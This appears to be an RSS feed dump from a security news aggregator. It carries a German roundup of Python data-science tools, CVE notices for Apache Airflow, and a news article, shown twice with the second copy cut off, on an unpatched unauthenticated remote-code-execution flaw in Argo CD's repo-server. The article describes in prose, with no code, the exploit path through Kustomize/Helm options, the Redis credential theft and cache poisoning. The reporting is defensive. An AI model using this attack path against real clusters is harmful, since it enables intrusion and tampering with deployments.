<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/DC-Studio_shutterstock_2624260601_DEOnly_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Data Scientist 16z9" class="wp-image-4076136" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Diese Python-Tools bereichern das Data-Scientist-Dasein.</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p><a href="https://www.computerwoche.de/article/2795515/wie-sie-python-richtig-installieren.html" target="_blank">Pythons</a> opulentes <a href="https://www.computerwoche.de/article/2832867/10-tipps-fuer-schnellere-python-apps.html" target="_blank">Tool-Ökosystem</a> ist einer der wesentlichen Vorzüge der Programmiersprache. Die Kehrseite: Weil es so viele Python-Tools gibt, ist es allzu leicht, wirklich gute zu übersehen. Deshalb haben wir in diesem Artikel sieben empfehlenswerte <a href="https://www.computerwoche.de/article/2812900/die-besten-tools-fuer-datenwissenschaftler.html" target="_blank">Data-Science-Tools</a> für Python zusammengestellt, die bislang (noch) nicht ins Rampenlicht gerückt sind.</p>



<h2 class="wp-block-heading"><a href="https://github.com/sfu-db/connector-x" target="_blank" rel="noreferrer noopener">1. ConnectorX</a></h2>



<p>Daten liegen in der Regel in einer <a href="https://www.computerwoche.de/article/4026190/database-design-tipps-fur-entwickler.html" target="_blank">Datenbank</a> – werden jedoch außerhalb dieser verarbeitet. Daten aus der Datenbank zu extrahieren oder hinzuzufügen, kann dabei ein echter Zeitfresser sein. ConnectorX lädt Informationen aus Datenbanken direkt in gängige Datenverarbeitungs-Tools für Python. Dazu sind meistens nur ein paar Zeilen Python-Code und eine <a href="https://www.computerwoche.de/article/2830678/7-fatale-sql-fehler.html" target="_blank">SQL-Abfrage</a> nötig.</p>



<p>Das Kernstück von ConnectorX ist eine Rust-Bibliothek. Das ermöglicht beispielsweise, Daten aus einer Quelle zu laden und parallel zu partitionieren. <a href="https://www.computerwoche.de/article/3508938/so-geht-postgresql.html" target="_blank">PostgreSQL</a>-Daten lassen sich etwa einladen, indem eine Partitionsspalte spezifiziert wird. Neben PostgreSQL liest ConnectorX auch Daten ein aus</p>



<ul class="wp-block-list">
<li>MySQL/MariaDB,</li>



<li>SQLite,</li>



<li>Amazon Redshift,</li>



<li>Microsoft SQL Server,</li>



<li>Azure SQL, sowie</li>



<li>Oracle.</li>
</ul>



<p>Die Ergebnisse können anschließend in einen <a href="https://www.computerwoche.de/article/2830198/so-geht-datenanalyse-mit-python.html" target="_blank">Pandas</a>– oder PyArrow-DataFrame, in Modin oder Dask (über Pandas) oder auch in Polars (über PyArrow) weiterverwendet werden. Allgemeiner Support für <a href="https://en.wikipedia.org/wiki/Open_Database_Connectivity" target="_blank" rel="noreferrer noopener">ODBC</a> ist derzeit in Arbeit.</p>



<h2 class="wp-block-heading"><a href="https://duckdb.org/" target="_blank" rel="noreferrer noopener">2. DuckDB</a></h2>



<p>Wie andere <a href="https://www.computerwoche.de/article/2810245/was-ist-olap.html" target="_blank">OLAP</a>-Datenbank-Engines verwendet <a href="https://www.computerwoche.de/article/2834231/so-geht-duckdb.html" target="_blank">DuckDB</a> einen spaltenorientierten Datenspeicher und ist für langfristig laufende Analyse-Workloads ausgelegt. DuckDB bietet jedoch sämtliche Funktionen, die man von einer traditionellen Datenbank erwarten würde – etwa ACID-Transaktionen. Ein weiterer Vorteil: Sie müssen keine separate Software-Suite konfigurieren. Innerhalb einer Python-Umgebung installieren Sie DuckDB mit folgendem Befehl: <code>pip install duckdb</code>.</p>



<p>DuckDB verarbeitet Daten im CSV-, <a href="https://www.computerwoche.de/article/2815830/was-ist-json.html" target="_blank">JSON-</a> oder Parquet-Format sowie aus <a href="https://duckdb.org/docs/stable/data/data_sources" target="_blank" rel="noreferrer noopener">einer Vielzahl weiterer, gängiger Datenquellen</a>. Die resultierenden Datenbanken lassen sich aus Effizienzgründen basierend auf Schlüsselwerten (etwa Jahr und Monat) auch in mehreren physischen Dateien partitionieren. Die Datenabfrage funktioniert wie bei jeder anderen SQL-basierten, relationalen Datenbank – allerdings mit zusätzlichen integrierten Funktionen. Etwa, zufällige Daten-Samples zu nehmen oder Fensterfunktionen zu erstellen.</p>



<p>DuckDB verfügt darüber hinaus auch über eine kleine, aber sehr nutzwertige Sammlung von Extensions. Diese kommen beispielsweise zum Einsatz für:</p>



<ul class="wp-block-list">
<li>Volltextsuchen,</li>



<li><a href="https://duckdb.org/docs/stable/core_extensions/vss" target="_blank" rel="noreferrer noopener">beschleunigte Vektorähnlichkeitssuchen</a>,</li>



<li>Excel-Importe und -Exporte,</li>



<li>direkte Verbindungen zu SQLite und PostgreSQL,</li>



<li>Parquet-Dateiexporte, sowie</li>



<li>Support für diverse gängige Geodatenformate und -typen.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://github.com/hi-primus/optimus" target="_blank" rel="noreferrer noopener">3. Optimus</a></h2>



<p>Daten zu bereinigen und vorzubereiten, ist in DataFrame-zentrierten Projekten eine eher undankbare Aufgabe. Das All-in-One-Toolset Optimus will diese erleichtern, indem es Entwicklern ermöglicht, Daten in, beziehungsweise aus einer Vielzahl von Quellen zu laden, zu erkunden, zu bereinigen und zurückzuschreiben.</p>



<p>Als zugrundeliegende Daten-Engine kann Optimus neben Pandas auch Dask, CUDF, Vaex oder <a href="https://www.computerwoche.de/article/2822399/was-ist-apache-spark.html" target="_blank">Spark</a> nutzen. Daten lassen sich einer Vielzahl gängiger Quellen laden, etwa Arrow oder Parquet. Darüber hinaus werden auch Flatfile-Formate wie CSV und JSON unterstützt.  </p>



<p>Die API zur Datenmanipulation ähnelt der von Pandas, erweitert diese jedoch um die Zugriffsmethoden <code>.rows()</code> und <code>.cols()</code>. Das ist beispielsweise nützlich, um:</p>



<ul class="wp-block-list">
<li>einen DataFrame zu sortieren,</li>



<li>nach Spaltenwerten zu filtern,</li>



<li>Daten nach bestimmten Kriterien zu verändern, oder</li>



<li>den Anwendungsbereich anhand bestimmter Kriterien zu simplifizieren.</li>
</ul>



<p>Zusätzlich beinhaltet Optimus auch Prozessoren, um reale Datentypen wie E-Mail-Adressen und URLs zu verarbeiten.</p>



<p>Problematisch ist mit Blick auf Optimus möglicherweise, dass die letzte offizielle Version aus dem Jahr 2020 stammt. Es ist also möglicherweise nicht so aktuell wie andere Komponenten in Ihrem Stack.</p>



<h2 class="wp-block-heading"><a href="https://github.com/pola-rs/polars" target="_blank" rel="noreferrer noopener">4. Polars</a></h2>



<p>Wenn Sie viel Zeit mit DataFrames verbringen und regelmäßig von den Performance-Grenzen von Pandas frustriert sind, sollten Sie einen Blick auf Polars werfen.</p>



<p>Die DataFrame-Bibliothek für Python bietet eine komfortable Syntax, die der von Pandas ähnelt – greift jedoch auf eine Rust-Bibliothek zurück, die die vorhandene Hardware optimal nutzt. Um Features wie Parallelverarbeitung oder SIMD zu nutzen, ist keine spezielle Syntax notwendig – alles läuft automatisch. So laufen selbst simple Vorgänge wie aus einer CSV-Datei zu lesen, deutlich schneller ab. Rust-Entwickler können zudem auch ihre eigenen Extensions für Polars entwickeln – mit <a href="https://github.com/pola-rs/pyo3-polars" target="_blank" rel="noreferrer noopener">pyo3</a>.</p>



<p>Polars bietet sowohl Eager- als auch Lazy-Ausführungsmodi – Queries lassen sich also sofort oder bei Bedarf auch zeitverzögert fahren. Das Python-Tool wartet außerdem mit einer Streaming-API auf, um Abfragen inkrementell zu verarbeiten. Allerdings ist Streaming für diverse Funktionen noch nicht verfügbar. Wenn doch, greift Polars dazu auf eine In-Memory-Engine zurück.</p>



<p>Das Tool ermöglicht außerdem (über die externe Graphviz-Bibliothek), sich mit Hilfe von <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html" target="_blank" rel="noreferrer noopener">Execution-Graphen</a> ein Bild davon zu machen, wie viel Speicher- und CPU-Ressourcen eine Abfrage nutzt.  </p>



<h2 class="wp-block-heading"><a href="https://github.com/iterative/dvc" target="_blank" rel="noreferrer noopener">5. DVC</a></h2>



<p>Ein weit verbreitetes Problem im Zusammenhang mit Data-Science-Projekten ist die <a href="https://www.computerwoche.de/article/2833711/version-control-systems-ein-ratgeber.html" target="_blank">Versionskontrolle</a> (nicht des Projektcodes, sondern der Daten). Mit dem Tool DVC (Data Version Control) lassen sich Versionsdeskriptoren an Datensätze anhängen. Diese lassen sich wie der Rest des Codes in Git einchecken, um die Versionen von Daten und Code konsistent zu halten.</p>



<p>DVC kann nahezu jede Art von Datensatz tracken, solange diese sich in einer Datei abbilden lassen. Dabei spielt es keine Rolle, ob die Daten in einem <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types" target="_blank" rel="noreferrer noopener">Remote-Storage-Service</a> oder lokal vorgehalten werden. Das Konzept: Sie beschreiben über eine “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types" target="_blank" rel="noreferrer noopener">Pipeline</a>“, wie Datenmodelle gemanagt und genutzt werden.</p>



<p>DVC kann allerdings mehr, als nur Daten zusammen mit Code zu versionieren. Das Tool kann zum Beispiel auch fungieren als:</p>



<ul class="wp-block-list">
<li>schneller Datencache für remote gehostete Daten,</li>



<li>Methodik, um Experimente zu tracken, die mit den Daten durchgeführt werden, und</li>



<li>Register oder Katalog für Machine-Learning-Modelle, die mit den Daten erstellt wurden.</li>
</ul>



<p>Benutzer von <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> können DVC-Workflows über die <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc" target="_blank" rel="noreferrer noopener">entsprechende Extension</a> in ihren Editor integrieren.</p>



<h2 class="wp-block-heading"><a href="https://github.com/cleanlab/cleanlab" target="_blank" rel="noreferrer noopener">6. Cleanlab</a></h2>



<p>Weil es teuer und zeitaufwändig ist, saubere, korrekt gelabelte Daten zu erstellen, sind hochwertige Datensätze für Machine-Learning-Zwecke Mangelware. Manchmal bleibt Datenwissenschaftlern keine andere Wahl, als mit Rohdaten oder inkonsistenten Informationen zu arbeiten. Für dieses Szenario wurde das Tool Cleanlab entwickelt.</p>



<p>Dieses Python-Daten-Tool nutzt vorhandene, hochwertige Machine-Learning-Datensätze, um solche von geringerer Qualität, die nicht oder nur unzureichend gekennzeichnet sind, zu analysieren. Anders ausgedrückt: Sie erstellen ein Modell auf der Grundlage des ursprünglichen Datensatzes. Anschließend finden Sie mit Cleanlab heraus, was in diesem ursprünglichen Datensatz verbessert werden muss – und trainieren dann das Modell erneut mit Ihrem automatisch bereinigten und angepassten Datensatz.</p>



<p>Cleanlab funktioniert unabhängig von Datenmodellen und -Frameworks. Es spielt also keine Rolle, ob Sie <a href="https://www.computerwoche.de/article/2816666/13-tools-die-ki-und-ml-transformieren.html" target="_blank">PyTorch</a>, OpenAI, Scikit-learn oder <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html" target="_blank">Tensorflow</a> nutzen – Cleanlab arbeitet mit jedem Classifier. Dabei verfügt das Tool dennoch über spezifische Workflows für gängige Tasks wie:</p>



<ul class="wp-block-list">
<li>Token-Klassifizierung,</li>



<li>Multi-Labeling,</li>



<li>Regression,</li>



<li>Bildsegmentierung, oder auch</li>



<li>Objekt- und Outlier-Detection.</li>
</ul>



<p>Idealerweise machen Sie sich <a href="https://github.com/cleanlab/examples" target="_blank" rel="noreferrer noopener">anhand diverser Beispiele</a> selbst ein Bild davon, wie der Prozess funktioniert und welche Ergebnisse zu erwarten sind.</p>



<h2 class="wp-block-heading"><a href="https://github.com/snakemake/snakemake" target="_blank" rel="noreferrer noopener">7. Snakemake</a></h2>



<p>Data-Science-Workflows sind diffizil einzurichten. Noch schwieriger ist es aber, das auf konsistente und vorhersehbare Weise zu erledigen. Um diesen Prozess zu automatisieren und Datenanalyse-Workflows so aufzusetzen, dass alle Beteiligten die gleichen Ergebnisse zu erhalten, wurde Snakemake entwickelt. Dabei gilt: Je mehr bewegliche Teile Ihr Data-Science-Workflow enthält, desto größer ist die Wahrscheinlichkeit, dass Sie davon profitieren werden, diesen mit Snakemake zu automatisieren.</p>



<p>Snakemake-Workflows ähneln dabei GNU-Make-Workflows: Sie definieren die Schritte des Workflows mit Regeln. Diese legen fest, was aufgenommen sowie ausgegeben wird – und welche Befehle ausgeführt werden müssen. Die Workflow-Regeln können multithreaded sein und Konfigurationsdaten lassen sich über JSON- oder <a href="https://www.computerwoche.de/article/2815752/so-umgehen-sie-yaml-probleme.html" target="_blank">YAML-</a>Dateien einspielen. Sie können in Ihren Workflows außerdem auch Funktionen definieren, um die in den Regeln verwendeten Daten zu transformieren – und die bei jedem Schritt ausgeführten Aktionen zu protokollieren.</p>



<p>Snakemake-Jobs sind zudem portabel – sie können sowohl in Managed-Kubernetes- als auch bestimmten Cloud-Umgebungen bereitgestellt werden. Und:</p>



<ul class="wp-block-list">
<li>Workloads lassen sich auch “einfrieren”, um einen bestimmten Satz von Packages zu verwenden,</li>



<li>für erfolgreich ausgeführte Workloads können automatisiert Unit-Tests erstellt und gespeichert werden – für eine langfristige Archivierung auch als Tarball.  </li>
</ul>



<p>(fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2338444/7-newer-data-science-tools-you-should-be-using-with-python.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Windows 11 can now run Linux containers with WSL Containers, no Docker Desktop needed (hands on)]]></title>
<description><![CDATA[submitted by    /u/WPHero   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3642590/linux-tipps/windows-11-can-now-run-linux-containers-with-wsl-containers-no-docker-desktop-needed-hands-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642590/linux-tipps/windows-11-can-now-run-linux-containers-with-wsl-containers-no-docker-desktop-needed-hands-on/</guid>
<pubDate>Fri, 03 Jul 2026 04:08:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/WPHero"> /u/WPHero </a> <br> <span><a href="https://www.windowslatest.com/2026/07/02/hands-on-with-linux-container-using-wsl-container-on-windows-11-without-docker-desktop/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uleokr/windows_11_can_now_run_linux_containers_with_wsl/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Argo-CD-repo-server ohne Authentifizierung: Schwachstelle gefährdet Kubernetes-Cluster]]></title>
<description><![CDATA[Microsoft verlängert Hotpatching für Windows Server 2022 bis Oktober 2027 REDMOND / LONDON (IT BOLTWISE) – Microsoft verlängert den Support für ...]]></description>
<link>https://tsecurity.de/de/3642154/windows-server/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642154/windows-server/argo-cd-repo-server-ohne-authentifizierung-schwachstelle-gefaehrdet-kubernetes-cluster/</guid>
<pubDate>Thu, 02 Jul 2026 22:01:39 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft verlängert Hotpatching für <b>Windows Server</b> 2022 bis Oktober 2027 REDMOND / LONDON (IT BOLTWISE) – Microsoft verlängert den Support für ...]]></content:encoded>
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<title><![CDATA[Brave browser introduces Containers for secure account isolation]]></title>
<description><![CDATA[Brave has released version 1.92 of its privacy-focused browser, introducing built-in Containers that let users isolate browser tabs into separate identities for improved workflow and account management. While similar functionality has been available through extensions, Brave’s native system build...]]></description>
<link>https://tsecurity.de/de/3642124/it-security-nachrichten/brave-browser-introduces-containers-for-secure-account-isolation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642124/it-security-nachrichten/brave-browser-introduces-containers-for-secure-account-isolation/</guid>
<pubDate>Thu, 02 Jul 2026 21:38:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Brave has released version 1.92 of its privacy-focused browser, introducing built-in Containers that let users isolate browser tabs into separate identities for improved workflow and account management. While similar functionality has been available through extensions, Brave’s native system builds on its privacy protections by prioritizing convenience over cross-site tracking prevention. Containers are now integrated directly …</p>
<p>The post <a href="https://cyberinsider.com/brave-browser-introduces-containers-for-secure-account-isolation/">Brave browser introduces Containers for secure account isolation</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2023-33234 | Apache Airflow CNCF Kubernetes Provider up to 6.1.0 KubernetesPodOperator injection]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Apache Airflow CNCF Kubernetes Provider up to 6.1.0. The affected element is an unknown function of the component KubernetesPodOperator. The manipulation results in injection.

This vulnerability was named CVE-2023-33234. The attack ...]]></description>
<link>https://tsecurity.de/de/3641935/sicherheitsluecken/cve-2023-33234-apache-airflow-cncf-kubernetes-provider-up-to-610-kubernetespodoperator-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641935/sicherheitsluecken/cve-2023-33234-apache-airflow-cncf-kubernetes-provider-up-to-610-kubernetespodoperator-injection/</guid>
<pubDate>Thu, 02 Jul 2026 19:39:35 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/apache:airflow_cncf_kubernetes_provider">Apache Airflow CNCF Kubernetes Provider up to 6.1.0</a>. The affected element is an unknown function of the component <em>KubernetesPodOperator</em>. The manipulation results in injection.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2023-33234">CVE-2023-33234</a>. The attack may be performed from remote. There is no available exploit.

You should upgrade the affected component.]]></content:encoded>
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<title><![CDATA[CVE-2023-51702 | Apache Airflow up to 2.6.0 CNCF Kubernetes Provider log file]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Apache Airflow up to 2.6.0. This affects an unknown function of the component CNCF Kubernetes Provider. The manipulation results in sensitive information in log files.

This vulnerability is reported as CVE-2023-51702. The attacker...]]></description>
<link>https://tsecurity.de/de/3641934/sicherheitsluecken/cve-2023-51702-apache-airflow-up-to-260-cncf-kubernetes-provider-log-file/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641934/sicherheitsluecken/cve-2023-51702-apache-airflow-up-to-260-cncf-kubernetes-provider-log-file/</guid>
<pubDate>Thu, 02 Jul 2026 19:39:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/apache:airflow">Apache Airflow up to 2.6.0</a>. This affects an unknown function of the component <em>CNCF Kubernetes Provider</em>. The manipulation results in sensitive information in log files.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2023-51702">CVE-2023-51702</a>. The attacker must have access to the local network to execute the attack. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[Researchers Warn of Unpatched Argo CD Flaw That Enables Cluster Takeover]]></title>
<description><![CDATA[  Organizations using Argo CD to automate application deployments on Kubernetes are being urged to review their network configurations after security researchers disclosed an unpatched vulnerability that could allow attackers to execute arbitrary code on the platform’s repo-server component and…
...]]></description>
<link>https://tsecurity.de/de/3641850/it-security-nachrichten/researchers-warn-of-unpatched-argo-cd-flaw-that-enables-cluster-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641850/it-security-nachrichten/researchers-warn-of-unpatched-argo-cd-flaw-that-enables-cluster-takeover/</guid>
<pubDate>Thu, 02 Jul 2026 19:09:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Organizations using Argo CD to automate application deployments on Kubernetes are being urged to review their network configurations after security researchers disclosed an unpatched vulnerability that could allow attackers to execute arbitrary code on the platform’s repo-server component and…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/researchers-warn-of-unpatched-argo-cd-flaw-that-enables-cluster-takeover/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/researchers-warn-of-unpatched-argo-cd-flaw-that-enables-cluster-takeover/">Researchers Warn of Unpatched Argo CD Flaw That Enables Cluster Takeover</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Argo CD flaw shows why GitOps infrastructure should be treated as tier zero]]></title>
<description><![CDATA[A newly disclosed vulnerability in Argo CD is drawing attention to the security risks of GitOps platforms, with researchers warning that the flaw could allow attackers who gain a foothold inside a Kubernetes cluster to execute code and manipulate application deployments.



Security firm Synackti...]]></description>
<link>https://tsecurity.de/de/3640960/ai-nachrichten/argo-cd-flaw-shows-why-gitops-infrastructure-should-be-treated-as-tier-zero/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640960/ai-nachrichten/argo-cd-flaw-shows-why-gitops-infrastructure-should-be-treated-as-tier-zero/</guid>
<pubDate>Thu, 02 Jul 2026 13:33:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>A newly disclosed vulnerability in Argo CD is drawing attention to the security risks of GitOps platforms, with researchers warning that the flaw could allow attackers who gain a foothold inside a Kubernetes cluster to execute code and manipulate application deployments.</p>



<p>Security firm Synacktiv said in a <a href="https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql" target="_blank" rel="noreferrer noopener">report</a> that the flaw affects Argo CD’s repo-server component, which fetches content from Git repositories and generates Kubernetes manifests used to deploy resources in a cluster. Argo CD is one of the most popular Kubernetes tools and is based on the GitOps paradigm.</p>



<p>“Argo CD requires significant privileges within the cluster,” Synacktiv said. “Additionally, it has access to private Git repositories, making it an attractive target for attackers.”</p>



<p>The issue centers on the repo-server’s unauthenticated GenerateManifest gRPC endpoint. Synacktiv said an attacker able to reach that endpoint could supply Kustomize options in a manifest generation request and abuse Kustomize’s Helm-related build options to execute attacker-controlled commands.</p>



<p>Exploitation requires access to both the repo-server gRPC port and the Redis database port, which should not be exposed to users. Argo CD provides Kubernetes network policies designed to prevent that scenario, but those protections are not enabled by default in Helm chart deployments, according to Synacktiv.</p>



<p>In such deployments, compromising a single pod inside the cluster could be enough to give an attacker the internal access needed to exploit the vulnerability.</p>



<p>Synacktiv said it was able to use the flaw to obtain the Redis password from the repo-server environment and access Argo CD’s Redis database. The researchers then manipulated cached deployment data, allowing a malicious manifest to be deployed automatically when Argo CD’s Auto Sync feature was enabled.</p>



<p>If Auto Sync is not enabled, exploitation would require a user to manually sync the application.</p>



<p>Synacktiv publicly disclosed the details on July 1 after first reporting the issue to Argo CD maintainers in January 2025. The vulnerability remains unpatched, and the firm recommended strict Kubernetes network policies to block untrusted pods from reaching the repo-server and Redis services until a fix is available.</p>



<h2 class="wp-block-heading">Assessing internal cluster exposure</h2>



<p>For CISOs, the key question is not only whether Argo CD is exposed to the internet, but whether <a href="https://www.csoonline.com/article/4151367/why-kubernetes-controllers-are-the-perfect-backdoor.html">other workloads</a> inside the Kubernetes cluster can reach its internal services.</p>



<p>“Because the repo-server’s gRPC service does not enforce authentication, any pod that can reach it becomes equivalent to an authenticated attacker,” said <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “In a typical cluster, that means any compromised application pod, misconfigured service mesh, or adjacent workload with local code execution can directly query the GenerateManifest endpoint or hit the Redis cache, no internet exposure required.”</p>



<p>Organizations should not equate “not internet-facing” with “low risk,” because modern attacks often begin with the compromise of an internal workload, according to <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005665" target="_blank" rel="noreferrer noopener">Sakshi Grover</a>, senior research manager for cybersecurity services research at IDC Asia/Pacific.</p>



<p>“CISOs should therefore evaluate which workloads can communicate with the Argo CD control plane, whether east-west traffic is appropriately segmented, and whether unnecessary trust relationships exist between application workloads and GitOps infrastructure,” Grover said. “The assessment should focus on attack paths rather than perimeter exposure.”</p>



<h2 class="wp-block-heading">Treating GitOps as tier-zero</h2>



<p>The flaw also underscores the role GitOps platforms play in controlling software deployment across enterprise infrastructure.</p>



<p>“GitOps engines aren’t utility services; they’re tier-0 control-plane components,” Datta said. “By design, Argo CD holds read access to private repositories, sync/write access to target clusters, and custody of deployment secrets. It sits at the precise intersection of source code, configuration management, and live infrastructure.”</p>



<p>That level of access means an Argo CD compromise may extend beyond a single application. An attacker could turn the platform used to deploy applications into a channel for malicious manifests, while also interfering with auto-sync behavior and extracting credentials cached in supporting systems such as Redis.</p>



<p>A compromise of these platforms could influence <a href="https://www.csoonline.com/article/4165420/sap-npm-package-attack-highlights-risks-in-developer-tools-and-ci-cd-pipelines.html">software delivery at scale</a>, making them strategic assets that should be subject to stricter governance and privileged access controls similar to those applied to identity platforms and other critical management systems.</p>



<p><em>The article originally appeared on <a href="https://www.csoonline.com/article/4192188/argo-cd-flaw-shows-why-gitops-infrastructure-should-be-treated-as-tier-zero.html">CSO</a></em>.</p>
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<title><![CDATA[Argo CD flaw shows why GitOps infrastructure should be treated as tier zero]]></title>
<description><![CDATA[A newly disclosed vulnerability in Argo CD is drawing attention to the security risks of GitOps platforms, with researchers warning that the flaw could allow attackers who gain a foothold inside a Kubernetes cluster to execute code and manipulate application deployments.



Security firm Synackti...]]></description>
<link>https://tsecurity.de/de/3640930/it-security-nachrichten/argo-cd-flaw-shows-why-gitops-infrastructure-should-be-treated-as-tier-zero/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640930/it-security-nachrichten/argo-cd-flaw-shows-why-gitops-infrastructure-should-be-treated-as-tier-zero/</guid>
<pubDate>Thu, 02 Jul 2026 13:23:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>A newly disclosed vulnerability in Argo CD is drawing attention to the security risks of GitOps platforms, with researchers warning that the flaw could allow attackers who gain a foothold inside a Kubernetes cluster to execute code and manipulate application deployments.</p>



<p>Security firm Synacktiv said in a <a href="https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql" target="_blank" rel="noreferrer noopener">report</a> that the flaw affects Argo CD’s repo-server component, which fetches content from Git repositories and generates Kubernetes manifests used to deploy resources in a cluster. Argo CD is one of the most popular Kubernetes tools and is based on the GitOps paradigm.</p>



<p>“Argo CD requires significant privileges within the cluster,” Synacktiv said. “Additionally, it has access to private Git repositories, making it an attractive target for attackers.”</p>



<p>The issue centers on the repo-server’s unauthenticated GenerateManifest gRPC endpoint. Synacktiv said an attacker able to reach that endpoint could supply Kustomize options in a manifest generation request and abuse Kustomize’s Helm-related build options to execute attacker-controlled commands.</p>



<p>Exploitation requires access to both the repo-server gRPC port and the Redis database port, which should not be exposed to users. Argo CD provides Kubernetes network policies designed to prevent that scenario, but those protections are not enabled by default in Helm chart deployments, according to Synacktiv.</p>



<p>In such deployments, compromising a single pod inside the cluster could be enough to give an attacker the internal access needed to exploit the vulnerability.</p>



<p>Synacktiv said it was able to use the flaw to obtain the Redis password from the repo-server environment and access Argo CD’s Redis database. The researchers then manipulated cached deployment data, allowing a malicious manifest to be deployed automatically when Argo CD’s Auto Sync feature was enabled.</p>



<p>If Auto Sync is not enabled, exploitation would require a user to manually sync the application.</p>



<p>Synacktiv publicly disclosed the details on July 1, 2026, after first reporting the issue to Argo CD maintainers in January 2025. The vulnerability remains unpatched, and the firm recommended strict Kubernetes network policies to block untrusted pods from reaching the repo-server and Redis services until a fix is available.</p>



<h2 class="wp-block-heading">Assessing internal cluster exposure</h2>



<p>For CISOs, the key question is not only whether Argo CD is exposed to the internet, but whether <a href="https://www.csoonline.com/article/4151367/why-kubernetes-controllers-are-the-perfect-backdoor.html">other workloads</a> inside the Kubernetes cluster can reach its internal services.</p>



<p>“Because the repo-server’s gRPC service does not enforce authentication, any pod that can reach it becomes equivalent to an authenticated attacker,” said <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “In a typical cluster, that means any compromised application pod, misconfigured service mesh, or adjacent workload with local code execution can directly query the GenerateManifest endpoint or hit the Redis cache, no internet exposure required.”</p>



<p>Organizations should not equate “not internet-facing” with “low risk,” because modern attacks often begin with the compromise of an internal workload, according to <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005665" target="_blank" rel="noreferrer noopener">Sakshi Grover</a>, senior research manager for cybersecurity services research at IDC Asia/Pacific.</p>



<p>“CISOs should therefore evaluate which workloads can communicate with the Argo CD control plane, whether east-west traffic is appropriately segmented, and whether unnecessary trust relationships exist between application workloads and GitOps infrastructure,” Grover said. “The assessment should focus on attack paths rather than perimeter exposure.”</p>



<h2 class="wp-block-heading">Treating GitOps as tier-zero</h2>



<p>The flaw also underscores the role GitOps platforms play in controlling software deployment across enterprise infrastructure.</p>



<p>“GitOps engines aren’t utility services; they’re tier-0 control-plane components,” Datta said. “By design, Argo CD holds read access to private repositories, sync/write access to target clusters, and custody of deployment secrets. It sits at the precise intersection of source code, configuration management, and live infrastructure.”</p>



